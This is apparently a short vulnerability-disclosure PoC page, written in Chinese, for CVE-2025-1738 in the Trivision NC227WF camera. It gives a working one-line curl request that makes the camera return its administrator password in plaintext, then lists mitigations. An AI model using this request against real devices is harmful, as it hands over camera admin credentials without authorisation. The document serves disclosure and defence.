CVE-2025-1738 - Trivision 摄像头 NC227WF PoC

📋 概述

在负责任披露之后，分配了两个官方 CVE。

🔍 CVE-2025-1738 — 明文密码暴露 (CWE-598)

描述

任何本地用户无需事先认证即可检索到明文形式的管理员密码。

• 攻击向量: 本地 (AV:L)
• CVSS 分数: 6.2
• CWE: CWE-598 (使用带有敏感查询字符串的 GET 请求方法)

载荷

curl -u admin:whatever http://<CAMERA_IP>:<PORT> --request-target en/player/activex_pal.asp

示例响应

...password=unguessable123!...

管理员密码以明文形式返回在响应体中。

🛡️ 缓解措施

• 升级固件 如果 Trivision 提供了修补版本。
• 隔离摄像头 在专用 VLAN 上，无外部访问。
• 防火墙 限制摄像头管理端口访问来自不可信网段。
• 更改默认凭据 并定期轮换密码。
• 监控对 activex_pal.asp 和 mblogin.asp 的意外访问。

📚 参考

• NVD — CVE-2025-1738
• NVD — CVE-2025-1739

⚖️ 免责声明

本仓库仅用于教育和授权安全研究。作者不对任何滥用行为负责。在测试任何设备前务必获得明确许可。